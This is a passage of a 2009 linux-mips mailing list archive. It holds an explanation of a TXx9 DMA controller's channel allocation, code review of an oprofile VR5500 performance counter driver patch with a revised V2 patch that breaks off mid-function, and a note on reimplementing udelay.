It looks like you are > working around the generic dma channel allocator, maybe it requires > updating to meet your needs. OK, let me try to explain. This DMAC have four channels and one FIFO buffer. Each channel can be configured for memory-memory or device-memory transfer, but only one channel can do alignment-free memory-memory transfer at a time while the channel should occupy the FIFO buffer for effective transfers. Instead of dynamically assign the FIFO buffer to channels, I chose make one dedicated channel for memory-memory transfer. The dedicated channel is public. Other channels are private and used for slave transfer. Some devices in the SoC are wired to certain DMA channel. The platform code will give a channel number for memory-memory transfer via platform_data. The txx9dmac_probe() creates two dma_device: one for private slave channels and one for a public memory channel. It also creates five dma_chan: four dma_chan are wrapped by txx9dmac_chan and other one dma_chan is used to reserve a memcpy channel number in slave dma_device. For example, if channel 2 was selected for memcpy, the dma_device for slave (txx9dmac_dev.dma) contains txx9dmac_chan[0,1], reserved_chan and txx9dmac_chan[3] in this order and the dma_device for memcpy (txx9dmac_dev.dma_memcpy) contains txx9dmac_chan[2]. Now we have dma0chan0, dma0chan1, dma0chan2, dma0chan3 and dma1chan0. The txx9dmac_probe() calls dma_request_channel() to reserve dma0chan2. I need the reserved_chan to make channel 3 named "dma0chan3". If I can chose chan_id for each channels in dma_device, the reserved_chan is not needed. And if I could make only one channel in dma_device public, I need only one dma_device. But I suppose it is not easy while DMA_PRIVATE is not per-channel attribute now. --- Atsushi Nemoto From Mark.Asselstine@windriver.com Thu Feb 26 16:30:58 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 26 Feb 2009 16:31:01 +0000 (GMT) Received: from mail.windriver.com ([147.11.1.11]:47773 "EHLO mail.wrs.com") by ftp.linux-mips.org with ESMTP id S20808060AbZBZQa6 (ORCPT ); Thu, 26 Feb 2009 16:30:58 +0000 Received: from ALA-MAIL03.corp.ad.wrs.com (ala-mail03 [147.11.57.144]) by mail.wrs.com (8.13.6/8.13.6) with ESMTP id n1QGUp7q015116; Thu, 26 Feb 2009 08:30:51 -0800 (PST) Received: from ala-mail06.corp.ad.wrs.com ([147.11.57.147]) by ALA-MAIL03.corp.ad.wrs.com with Microsoft SMTPSVC(6.0.3790.1830); Thu, 26 Feb 2009 08:30:50 -0800 Received: from yow-masselst-d1.localnet ([128.224.146.23]) by ala-mail06.corp.ad.wrs.com with Microsoft SMTPSVC(6.0.3790.1830); Thu, 26 Feb 2009 08:30:49 -0800 From: "M. Asselstine" Organization: Wind River Systems Inc. To: Robert Richter Subject: Re: [PATCH] oprofile: VR5500 performance counter driver Date: Thu, 26 Feb 2009 11:30:48 -0500 User-Agent: KMail/1.11.0 (Linux/2.6.27-9-generic; KDE/4.2.0; x86_64; ; ) Cc: Ralf Baechle , linux-mips@linux-mips.org, oprofile-list@lists.sf.net References: <1235406394-2650-1-git-send-email-mark.asselstine@windriver.com> <20090225165953.GF25042@erda.amd.com> In-Reply-To: <20090225165953.GF25042@erda.amd.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200902261130.48307.Mark.Asselstine@windriver.com> X-OriginalArrivalTime: 26 Feb 2009 16:30:49.0571 (UTC) FILETIME=[957DE330:01C9982F] Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21973 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: Mark.Asselstine@windriver.com Precedence: bulk X-list: linux-mips Content-Length: 9846 Lines: 319 On Wednesday 25 February 2009, Robert Richter wrote: > On 23.02.09 11:26:34, Mark Asselstine wrote: > > This is inspired by op_model_mipsxx.c with some modification > > in regards to register layout and overflow handling. This has > > been tested on a NEC VR5500 board and shown to produce sane > > results. > > Mark, > > I have looked at the differences between the VR5500 code and the > generic in op_model_mipsxx.c. If I am not wrong, only the interrupt > handling is different. This affects only vr5500_reg_setup() and > vr5500_perfcount_handler(). I think it would be better to implement > cpu checks in the generic functions or remap to cpu specific functions > during mipsxx_init(). This extension of the generic code is much more > maintainable. Also, there is less code in the end. See also my > comments below. > I had original thought the same thing but found there was enough deviation leaving me to create the new file. In addition to what you point out the register layout is also different so I was ending up having to make use of some CPU specific ifdefs which made for ugly code. As well the CPU does not implement MIPS32 nor MIPS64 so didn't necessarily fall under mipsxx (weak yes). It might make sense to name the file to be more generic and cover other NEC MIPS CPUs. Anyways I will have another look and see if it can be done nicely. > -Robert > > > Signed-off-by: Mark Asselstine > > > > diff --git a/arch/mips/oprofile/Makefile b/arch/mips/oprofile/Makefile > > index cfd4b60..977a828 100644 > > --- a/arch/mips/oprofile/Makefile > > +++ b/arch/mips/oprofile/Makefile > > @@ -14,4 +14,5 @@ oprofile-$(CONFIG_CPU_MIPS32) += op_model_mipsxx.o > > oprofile-$(CONFIG_CPU_MIPS64) += op_model_mipsxx.o > > oprofile-$(CONFIG_CPU_R10000) += op_model_mipsxx.o > > oprofile-$(CONFIG_CPU_SB1) += op_model_mipsxx.o > > +oprofile-$(CONFIG_CPU_VR5500) += op_model_vr5500.o > > I could not find a Kconfig option for this. > Sorry, was working from another tree that had a patch pulling this config in, it is in fact CONFIG_CPU_R5500 as seen in mainline. I will correct this. > > oprofile-$(CONFIG_CPU_RM9000) += op_model_rm9000.o > > diff --git a/arch/mips/oprofile/common.c b/arch/mips/oprofile/common.c > > index e1bffab..68aad99 100644 > > --- a/arch/mips/oprofile/common.c > > +++ b/arch/mips/oprofile/common.c > > @@ -17,6 +17,7 @@ > > > > extern struct op_mips_model op_model_mipsxx_ops __attribute__((weak)); > > extern struct op_mips_model op_model_rm9000_ops __attribute__((weak)); > > +extern struct op_mips_model op_model_vr5500_ops __attribute__((weak)); > > > > static struct op_mips_model *model; > > > > @@ -94,6 +95,10 @@ int __init oprofile_arch_init(struct > > oprofile_operations *ops) case CPU_RM9000: > > lmodel = &op_model_rm9000_ops; > > break; > > + > > + case CPU_R5500: > > + lmodel = &op_model_vr5500_ops; > > + break; > > Is there a reason for using _vr5500_ instead of _r5500_ for the > function and the filename? > If I keep this as a new file I will change to _r5500_ as suggested. > > }; > > > > > > diff --git a/arch/mips/oprofile/op_model_vr5500.c > > b/arch/mips/oprofile/op_model_vr5500.c new file mode 100644 > > index 0000000..75fae6a > > --- /dev/null > > +++ b/arch/mips/oprofile/op_model_vr5500.c > > @@ -0,0 +1,179 @@ > > +/* > > + * This file is subject to the terms and conditions of the GNU General > > Public + * License. See the file "COPYING" in the main directory of this > > archive + * for more details. > > + * > > Copyright statements from op_model_mipsxx.c should be added here. > I will ask Ralf if he want to have his carried over, but will carry the MIPS copyright if it makes legal sense. > > + * Copyright (c) 2009 Wind River Systems, Inc. > > + */ > > +#include > > +#include > > +#include > > +#include > > +#include > > + > > +#include "op_impl.h" > > + > > +#define M_PERFCTL_EXL (1UL << 0) > > +#define M_PERFCTL_KERNEL (1UL << 1) > > +#define M_PERFCTL_SUPERVISOR (1UL << 2) > > +#define M_PERFCTL_USER (1UL << 3) > > +#define M_PERFCTL_INTERRUPT_ENABLE (1UL << 4) > > +#define M_PERFCTL_INTERRUPT (1UL << 5) > > +#define M_PERFCTL_EVENT(event) (((event) & 0xf) << 6) > > +#define M_PERFCTL_COUNT_ENABLE (1UL << 10) > > + > > +#define NUM_COUNTERS 2 > > + > > +static int (*save_perf_irq) (void); > > + > > +#define __define_perf_accessors(r, n) \ > > + \ > > + static inline unsigned int r_c0_ ## r ## n(void) \ > > + { \ > > + return read_c0_ ## r ## n(); \ > > + } \ > > + \ > > + static inline void w_c0_ ## r ## n(unsigned int value) \ > > + { \ > > + write_c0_ ## r ## n(value); \ > > + } \ > > + > > +__define_perf_accessors(perfcntr, 0) > > +__define_perf_accessors(perfcntr, 1) > > + > > +__define_perf_accessors(perfctrl, 0) > > +__define_perf_accessors(perfctrl, 1) > > I know this code is borrowed, but why not use write/read_c0_perfXXXX() > directly? > Sure, will change. > > + > > +struct op_mips_model op_model_vr5500_ops; > > + > > +static struct vr5500_register_config { > > + unsigned int control[NUM_COUNTERS]; > > + unsigned int counter[NUM_COUNTERS]; > > +} reg; > > + > > +/* Compute all of the registers in preparation for enabling profiling. > > */ +static void vr5500_reg_setup(struct op_counter_config *ctr) > > +{ > > + int i; > > + unsigned int counters = NUM_COUNTERS; > > + > > + /* Compute the performance counter control word. */ > > + for (i = 0; i < counters; i++) { > > + reg.control[i] = 0; > > + reg.counter[i] = 0; > > + > > + if (!ctr[i].enabled) > > + continue; > > + > > + reg.control[i] = M_PERFCTL_EVENT(ctr[i].event) | > > + M_PERFCTL_INTERRUPT_ENABLE | M_PERFCTL_COUNT_ENABLE; > > + if (ctr[i].kernel) > > + reg.control[i] |= M_PERFCTL_KERNEL; > > + if (ctr[i].user) > > + reg.control[i] |= M_PERFCTL_USER; > > + if (ctr[i].exl) > > + reg.control[i] |= M_PERFCTL_EXL; > > + > > + reg.counter[i] = 0xffffffff - ctr[i].count + 1; > > + } > > +} > > + > > +/* Program all of the registers in preparation for enabling profiling. > > */ +static void vr5500_cpu_setup(void *args) > > +{ > > + w_c0_perfctrl1(0); > > + w_c0_perfcntr1(reg.counter[1]); > > + > > + w_c0_perfctrl0(0); > > + w_c0_perfcntr0(reg.counter[0]); > > +} > > + > > +/* Start all counters on current CPU */ > > +static void vr5500_cpu_start(void *args) > > +{ > > + w_c0_perfctrl1(reg.control[1]); > > + w_c0_perfctrl0(reg.control[0]); > > +} > > + > > +/* Stop all counters on current CPU */ > > +static void vr5500_cpu_stop(void *args) > > +{ > > + w_c0_perfctrl1(0); > > + w_c0_perfctrl0(0); > > +} > > + > > +static int vr5500_perfcount_handler(void) > > +{ > > + unsigned int control; > > + unsigned int counter; > > + int handled = IRQ_NONE; > > + unsigned int counters = NUM_COUNTERS; > > + > > + if (cpu_has_mips_r2 && !(read_c0_cause() & (1 << 26))) > > Do not use magic numbers. > A comment will be added or a well named define. > > + return handled; > > + > > + switch (counters) { > > Since counters is a fix value the switch/case could be removed. > > > + #define HANDLE_COUNTER(n) \ > > + case n + 1: \ > > + control = r_c0_perfctrl ## n(); \ > > + counter = r_c0_perfcntr ## n(); \ > > + if ((control & M_PERFCTL_INTERRUPT_ENABLE) && \ > > + (control & M_PERFCTL_INTERRUPT)) { \ > > + oprofile_add_sample(get_irq_regs(), n); \ > > + w_c0_perfcntr ## n(reg.counter[n]); \ > > + w_c0_perfctrl ## n(control & ~M_PERFCTL_INTERRUPT); \ > > + handled = IRQ_HANDLED; \ > > + } > > + HANDLE_COUNTER(1) > > + HANDLE_COUNTER(0) > > + } > > It is hard to see a loop here. I would like to prefer programming c > instead of macros unless there is a good reason to do so. Also, this > causes a checkpatch error. > I will look to get rid of the macros, you don't have to ask me twice. > > + > > + return handled; > > +} > > + > > +static void reset_counters(void *arg) > > +{ > > + w_c0_perfctrl1(0); > > + w_c0_perfcntr1(0); > > + > > + w_c0_perfctrl0(0); > > + w_c0_perfcntr0(0); > > +} > > + > > +static int __init vr5500_init(void) > > +{ > > + on_each_cpu(reset_counters, NULL, 1); > > + > > + switch (current_cpu_type()) { > > + case CPU_R5500: > > + op_model_vr5500_ops.cpu_type = "mips/vr5500"; > > + break; > > + > > + default: > > + printk(KERN_ERR "Profiling unsupported for this CPU\n"); > > + > > + return -ENODEV; > > + } > > + > > + save_perf_irq = perf_irq; > > + perf_irq = vr5500_perfcount_handler; > > + > > + return 0; > > +} > > + > > +static void vr5500_exit(void) > > +{ > > + on_each_cpu(reset_counters, NULL, 1); > > + > > + perf_irq = save_perf_irq; > > +} > > + > > +struct op_mips_model op_model_vr5500_ops = { > > + .reg_setup = vr5500_reg_setup, > > + .cpu_setup = vr5500_cpu_setup, > > + .init = vr5500_init, > > + .exit = vr5500_exit, > > + .cpu_start = vr5500_cpu_start, > > + .cpu_stop = vr5500_cpu_stop, > > + .num_counters = NUM_COUNTERS, > > Please align this vertically. > Sure. Expect a resend soon. Regards, Mark > > +}; > > > > ------------------------------------------------------------------------- > >----- Open Source Business Conference (OSBC), March 24-25, 2009, San > > Francisco, CA -OSBC tackles the biggest issue in open source: Open > > Sourcing the Enterprise -Strategies to boost innovation and cut costs > > with open source participation -Receive a $600 discount off the > > registration fee with the source code: SFAD http://p.sf.net/sfu/XcvMzF8H > > _______________________________________________ > > oprofile-list mailing list > > oprofile-list@lists.sourceforge.net > > https://lists.sourceforge.net/lists/listinfo/oprofile-list From ralf@h5.dl5rb.org.uk Thu Feb 26 16:58:08 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 26 Feb 2009 16:58:12 +0000 (GMT) Received: from h5.dl5rb.org.uk ([81.2.74.5]:55227 "EHLO h5.dl5rb.org.uk") by ftp.linux-mips.org with ESMTP id S20808686AbZBZQ6I (ORCPT ); Thu, 26 Feb 2009 16:58:08 +0000 Received: from h5.dl5rb.org.uk (localhost.localdomain [127.0.0.1]) by h5.dl5rb.org.uk (8.14.3/8.14.3) with ESMTP id n1QGw2mL000352; Thu, 26 Feb 2009 16:58:03 GMT Received: (from ralf@localhost) by h5.dl5rb.org.uk (8.14.3/8.14.3/Submit) id n1QGw0Fx000350; Thu, 26 Feb 2009 16:58:00 GMT Date: Thu, 26 Feb 2009 16:58:00 +0000 From: Ralf Baechle To: David Daney Cc: linux-mips@linux-mips.org Subject: Re: [PATCH] MIPS: Handle removal of 'h' constraint in GCC 4.4 Message-ID: <20090226165800.GA31972@linux-mips.org> References: <1235516662-24919-1-git-send-email-ddaney@caviumnetworks.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1235516662-24919-1-git-send-email-ddaney@caviumnetworks.com> User-Agent: Mutt/1.5.18 (2008-05-17) Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21974 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: ralf@linux-mips.org Precedence: bulk X-list: linux-mips Content-Length: 691 Lines: 17 On Tue, Feb 24, 2009 at 03:04:22PM -0800, David Daney wrote: > Due to the removal of the 'h' asm constraint in GCC-4.4, we need to > adjust the computation in delay.h It's time to take a step back and think over the whole thing once more. Inlining __udelay can be problematic on some processors where the execution performance of the delay loop will be different if the loop is crossing a cacheline or not. That seems to particularly hit R10000 systems often. The number of the loop interations does the wrong tradeoff between accuracy and the value range needed. The resulting overflows on a HZ=128 4000 BogoMIPS machine are fantastic :-) Time to reimplement udelay I'd say. Ralf From robert.richter@amd.com Thu Feb 26 17:07:44 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 26 Feb 2009 17:07:46 +0000 (GMT) Received: from va3ehsobe005.messaging.microsoft.com ([216.32.180.15]:33497 "EHLO VA3EHSOBE006.bigfish.com") by ftp.linux-mips.org with ESMTP id S20808688AbZBZRHo (ORCPT ); Thu, 26 Feb 2009 17:07:44 +0000 Received: from mail161-va3-R.bigfish.com (10.7.14.250) by VA3EHSOBE006.bigfish.com (10.7.40.26) with Microsoft SMTP Server id 8.1.340.0; Thu, 26 Feb 2009 17:07:38 +0000 Received: from mail161-va3 (localhost.localdomain [127.0.0.1]) by mail161-va3-R.bigfish.com (Postfix) with ESMTP id CC40F81811A; Thu, 26 Feb 2009 17:07:37 +0000 (UTC) X-BigFish: VPS-37(zz1432R62a3L98dR936eQ1805Mzzzzz32i6bh61h) Received: by mail161-va3 (MessageSwitch) id 1235668056256418_29636; Thu, 26 Feb 2009 17:07:36 +0000 (UCT) Received: from ausb3extmailp02.amd.com (ausb3extmailp02.amd.com [163.181.251.22]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail161-va3.bigfish.com (Postfix) with ESMTP id 21C01DC006A; Thu, 26 Feb 2009 17:07:36 +0000 (UTC) Received: from ausb3twp01.amd.com (ausb3twp01.amd.com [163.181.250.37]) by ausb3extmailp02.amd.com (Switch-3.2.7/Switch-3.2.7) with ESMTP id n1QH7TaF015392; Thu, 26 Feb 2009 11:07:33 -0600 X-WSS-ID: 0KFONK9-01-9J7-01 Received: from sausexbh1.amd.com (sausexbh1.amd.com [163.181.22.101]) by ausb3twp01.amd.com (Tumbleweed MailGate 3.5.1) with ESMTP id 2C039194502; Thu, 26 Feb 2009 11:07:20 -0600 (CST) Received: from sausexmb1.amd.com ([163.181.3.156]) by sausexbh1.amd.com with Microsoft SMTPSVC(6.0.3790.3959); Thu, 26 Feb 2009 11:07:28 -0600 Received: from SDRSEXMB1.amd.com ([172.20.3.116]) by sausexmb1.amd.com with Microsoft SMTPSVC(6.0.3790.3959); Thu, 26 Feb 2009 11:07:28 -0600 Received: from seurexmb1.amd.com ([165.204.82.130]) by SDRSEXMB1.amd.com with Microsoft SMTPSVC(6.0.3790.3959); Thu, 26 Feb 2009 18:07:26 +0100 Received: from erda.amd.com ([165.204.85.17]) by seurexmb1.amd.com with Microsoft SMTPSVC(6.0.3790.3959); Thu, 26 Feb 2009 18:07:26 +0100 Received: by erda.amd.com (Postfix, from userid 35569) id 066347FF9; Thu, 26 Feb 2009 18:07:26 +0100 (CET) Date: Thu, 26 Feb 2009 18:07:25 +0100 From: Robert Richter To: "M. Asselstine" CC: Ralf Baechle , linux-mips@linux-mips.org, oprofile-list@lists.sf.net Subject: Re: [PATCH] oprofile: VR5500 performance counter driver Message-ID: <20090226170725.GM25042@erda.amd.com> References: <1235406394-2650-1-git-send-email-mark.asselstine@windriver.com> <20090225165953.GF25042@erda.amd.com> <200902261130.48307.Mark.Asselstine@windriver.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Disposition: inline In-Reply-To: <200902261130.48307.Mark.Asselstine@windriver.com> User-Agent: Mutt/1.5.16 (2007-06-09) X-OriginalArrivalTime: 26 Feb 2009 17:07:26.0124 (UTC) FILETIME=[B2BD46C0:01C99834] Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21975 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: robert.richter@amd.com Precedence: bulk X-list: linux-mips Content-Length: 481 Lines: 24 Thanks Mark. On 26.02.09 11:30:48, M. Asselstine wrote: > > > + if (cpu_has_mips_r2 && !(read_c0_cause() & (1 << 26))) > > > > Do not use magic numbers. > > > > A comment will be added or a well named define. I found this: arch/mips/include/asm/mipsregs.h:#define CAUSEB_CE 28 Not sure if this is the same register. If so, you could add the macro to mipsregs.h too. -Robert -- Advanced Micro Devices, Inc. Operating System Research Center email: robert.richter@amd.com From ralf@h5.dl5rb.org.uk Thu Feb 26 17:49:12 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 26 Feb 2009 17:49:14 +0000 (GMT) Received: from h5.dl5rb.org.uk ([81.2.74.5]:47282 "EHLO h5.dl5rb.org.uk") by ftp.linux-mips.org with ESMTP id S20808689AbZBZRtM (ORCPT ); Thu, 26 Feb 2009 17:49:12 +0000 Received: from h5.dl5rb.org.uk (localhost.localdomain [127.0.0.1]) by h5.dl5rb.org.uk (8.14.3/8.14.3) with ESMTP id n1QHn94t001666; Thu, 26 Feb 2009 17:49:10 GMT Received: (from ralf@localhost) by h5.dl5rb.org.uk (8.14.3/8.14.3/Submit) id n1QHn7Ks001662; Thu, 26 Feb 2009 17:49:07 GMT Date: Thu, 26 Feb 2009 17:49:07 +0000 From: Ralf Baechle To: Mark Asselstine Cc: linux-mips@linux-mips.org, oprofile-list@lists.sf.net Subject: Re: [PATCH] oprofile: VR5500 performance counter driver Message-ID: <20090226174907.GA1222@linux-mips.org> References: <1235406394-2650-1-git-send-email-mark.asselstine@windriver.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1235406394-2650-1-git-send-email-mark.asselstine@windriver.com> User-Agent: Mutt/1.5.18 (2008-05-17) Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21976 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: ralf@linux-mips.org Precedence: bulk X-list: linux-mips Content-Length: 395 Lines: 15 On Mon, Feb 23, 2009 at 11:26:34AM -0500, Mark Asselstine wrote: > +static int vr5500_perfcount_handler(void) > +{ > + unsigned int control; > + unsigned int counter; > + int handled = IRQ_NONE; > + unsigned int counters = NUM_COUNTERS; > + > + if (cpu_has_mips_r2 && !(read_c0_cause() & (1 << 26))) > + return handled; The Vr5500 is no R2 processor so these two lines are dead code. Ralf From ralf@h5.dl5rb.org.uk Thu Feb 26 17:51:28 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 26 Feb 2009 17:51:30 +0000 (GMT) Received: from h5.dl5rb.org.uk ([81.2.74.5]:50098 "EHLO h5.dl5rb.org.uk") by ftp.linux-mips.org with ESMTP id S20808693AbZBZRv2 (ORCPT ); Thu, 26 Feb 2009 17:51:28 +0000 Received: from h5.dl5rb.org.uk (localhost.localdomain [127.0.0.1]) by h5.dl5rb.org.uk (8.14.3/8.14.3) with ESMTP id n1QHpN19001714; Thu, 26 Feb 2009 17:51:23 GMT Received: (from ralf@localhost) by h5.dl5rb.org.uk (8.14.3/8.14.3/Submit) id n1QHpLGm001712; Thu, 26 Feb 2009 17:51:21 GMT Date: Thu, 26 Feb 2009 17:51:21 +0000 From: Ralf Baechle To: Robert Richter Cc: "M. Asselstine" , linux-mips@linux-mips.org, oprofile-list@lists.sf.net Subject: Re: [PATCH] oprofile: VR5500 performance counter driver Message-ID: <20090226175121.GB1222@linux-mips.org> References: <1235406394-2650-1-git-send-email-mark.asselstine@windriver.com> <20090225165953.GF25042@erda.amd.com> <200902261130.48307.Mark.Asselstine@windriver.com> <20090226170725.GM25042@erda.amd.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20090226170725.GM25042@erda.amd.com> User-Agent: Mutt/1.5.18 (2008-05-17) Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21977 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: ralf@linux-mips.org Precedence: bulk X-list: linux-mips Content-Length: 273 Lines: 12 On Thu, Feb 26, 2009 at 06:07:25PM +0100, Robert Richter wrote: > I found this: > > arch/mips/include/asm/mipsregs.h:#define CAUSEB_CE 28 > > Not sure if this is the same register. If so, you could add the macro > to mipsregs.h too. It is the same register. Ralf From Mark.Asselstine@windriver.com Thu Feb 26 20:49:45 2009 Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 26 Feb 2009 20:49:47 +0000 (GMT) Received: from mail.windriver.com ([147.11.1.11]:19364 "EHLO mail.wrs.com") by ftp.linux-mips.org with ESMTP id S20808704AbZBZUtp (ORCPT ); Thu, 26 Feb 2009 20:49:45 +0000 Received: from ALA-MAIL03.corp.ad.wrs.com (ala-mail03 [147.11.57.144]) by mail.wrs.com (8.13.6/8.13.6) with ESMTP id n1QKnaeR026891; Thu, 26 Feb 2009 12:49:36 -0800 (PST) Received: from ala-mail06.corp.ad.wrs.com ([147.11.57.147]) by ALA-MAIL03.corp.ad.wrs.com with Microsoft SMTPSVC(6.0.3790.1830); Thu, 26 Feb 2009 12:49:35 -0800 Received: from localhost.localdomain ([128.224.146.23]) by ala-mail06.corp.ad.wrs.com with Microsoft SMTPSVC(6.0.3790.1830); Thu, 26 Feb 2009 12:49:35 -0800 From: Mark Asselstine To: linux-mips@linux-mips.org, oprofile-list@lists.sf.net Cc: mark.asselstine@windriver.com Subject: [PATCH V2] oprofile: VR5500 performance counter driver Date: Thu, 26 Feb 2009 15:49:34 -0500 Message-Id: <1235681374-19952-1-git-send-email-mark.asselstine@windriver.com> X-Mailer: git-send-email 1.6.0.3 In-Reply-To: <20090225165953.GF25042@erda.amd.com> References: <20090225165953.GF25042@erda.amd.com> X-OriginalArrivalTime: 26 Feb 2009 20:49:35.0715 (UTC) FILETIME=[BBCB7330:01C99853] Return-Path: X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0) X-Orcpt: rfc822;linux-mips@linux-mips.org Original-Recipient: rfc822;linux-mips@linux-mips.org X-archive-position: 21978 X-ecartis-version: Ecartis v1.0.0 Sender: linux-mips-bounce@linux-mips.org Errors-to: linux-mips-bounce@linux-mips.org X-original-sender: mark.asselstine@windriver.com Precedence: bulk X-list: linux-mips Content-Length: 6298 Lines: 224 This is inspired by op_model_mipsxx.c with some modification in regards to register layout and overflow handling. This has been tested on a NEC VR5500 board and shown to produce sane results. Signed-off-by: Mark Asselstine --- I have left this as a new file as there is enough differences to make combining it combersome. If pushed I would possibly change my mind but I am not convinced yet. The userspace events are seen as mips/vr5500 so if there is a desire to have everything be r5500 some userspace changes would need to be made. arch/mips/oprofile/Makefile | 1 + arch/mips/oprofile/common.c | 5 + arch/mips/oprofile/op_model_r5500.c | 161 +++++++++++++++++++++++++++++++++++ 3 files changed, 167 insertions(+), 0 deletions(-) create mode 100644 arch/mips/oprofile/op_model_r5500.c diff --git a/arch/mips/oprofile/Makefile b/arch/mips/oprofile/Makefile index bf3be6f..586e64e 100644 --- a/arch/mips/oprofile/Makefile +++ b/arch/mips/oprofile/Makefile @@ -14,4 +14,5 @@ oprofile-$(CONFIG_CPU_MIPS32) += op_model_mipsxx.o oprofile-$(CONFIG_CPU_MIPS64) += op_model_mipsxx.o oprofile-$(CONFIG_CPU_R10000) += op_model_mipsxx.o oprofile-$(CONFIG_CPU_SB1) += op_model_mipsxx.o +oprofile-$(CONFIG_CPU_R5500) += op_model_r5500.o oprofile-$(CONFIG_CPU_RM9000) += op_model_rm9000.o diff --git a/arch/mips/oprofile/common.c b/arch/mips/oprofile/common.c index 3bf3354..26780c7 100644 --- a/arch/mips/oprofile/common.c +++ b/arch/mips/oprofile/common.c @@ -16,6 +16,7 @@ extern struct op_mips_model op_model_mipsxx_ops __attribute__((weak)); extern struct op_mips_model op_model_rm9000_ops __attribute__((weak)); +extern struct op_mips_model op_model_r5500_ops __attribute__((weak)); static struct op_mips_model *model; @@ -93,6 +94,10 @@ int __init oprofile_arch_init(struct oprofile_operations *ops) case CPU_RM9000: lmodel = &op_model_rm9000_ops; break; + + case CPU_R5500: + lmodel = &op_model_r5500_ops; + break; }; if (!lmodel) diff --git a/arch/mips/oprofile/op_model_r5500.c b/arch/mips/oprofile/op_model_r5500.c new file mode 100644 index 0000000..9b0d20f --- /dev/null +++ b/arch/mips/oprofile/op_model_r5500.c @@ -0,0 +1,161 @@ +/* + * This file is subject to the terms and conditions of the GNU General Public + * License. See the file "COPYING" in the main directory of this archive + * for more details. + * + * Copyright (c) 2009 Wind River Systems, Inc. + * + * Derived from op_model_mipsxx.c Copyright Ralf Baechle, MIPS Technologies Inc + */ +#include +#include +#include + +#include "op_impl.h" + +#define M_PERFCTL_EXL (1UL << 0) +#define M_PERFCTL_KERNEL (1UL << 1) +#define M_PERFCTL_SUPERVISOR (1UL << 2) +#define M_PERFCTL_USER (1UL << 3) +#define M_PERFCTL_INTERRUPT_ENABLE (1UL << 4) +#define M_PERFCTL_INTERRUPT (1UL << 5) +#define M_PERFCTL_EVENT(event) (((event) & 0xf) << 6) +#define M_PERFCTL_COUNT_ENABLE (1UL << 10) + +#define NUM_COUNTERS 2 + +static int (*save_perf_irq) (void); + +struct op_mips_model op_model_r5500_ops; + +static struct r5500_register_config { + unsigned int control[NUM_COUNTERS]; + unsigned int counter[NUM_COUNTERS]; +} reg; + +/* Compute all of the registers in preparation for enabling profiling. */ +static void r5500_reg_setup(struct op_counter_config *ctr) +{ + int i; + unsigned int counters = NUM_COUNTERS; + + /* Compute the performance counter control word. */ + for (i = 0; i < counters; i++) { + reg.control[i] = 0; + reg.counter[i] = 0; + + if (!ctr[i].enabled) + continue; + + reg.control[i] = M_PERFCTL_EVENT(ctr[i].event) | + M_PERFCTL_INTERRUPT_ENABLE | M_PERFCTL_COUNT_ENABLE; + if (ctr[i].kernel) + reg.control[i] |= M_PERFCTL_KERNEL; + if (ctr[i].user) + reg.control[i] |= M_PERFCTL_USER; + if (ctr[i].exl) + reg.control[i] |= M_PERFCTL_EXL; + + reg.counter[i] = 0xffffffff - ctr[i].count + 1; + } +} + +/* Program all of the registers in preparation for enabling profiling. */ +static void r5500_cpu_setup(void *args) +{ + write_c0_perfctrl1(0); + write_c0_perfcntr1(reg.counter[1]); + + write_c0_perfctrl0(0); + write_c0_perfcntr0(reg.counter[0]); +} + +/* Start all counters on current CPU */ +static void r5500_cpu_start(void *args) +{ + write_c0_perfctrl1(reg.control[1]); + write_c0_perfctrl0(reg.control[0]); +} + +/* Stop all counters on current CPU */ +static void r5500_cpu_stop(void *args) +{ + write_c0_perfctrl1(0); + write_c0_perfctrl0(0); +} + +static int r5500_perfcount_handler(void) +{ + unsigned int control; + unsigned int counter; + int handled = IRQ_NONE; + + control = read_c0_perfctrl0(); + counter = read_c0_perfcntr0(); + if ((control & M_PERFCTL_INTERRUPT_ENABLE) && + (control & 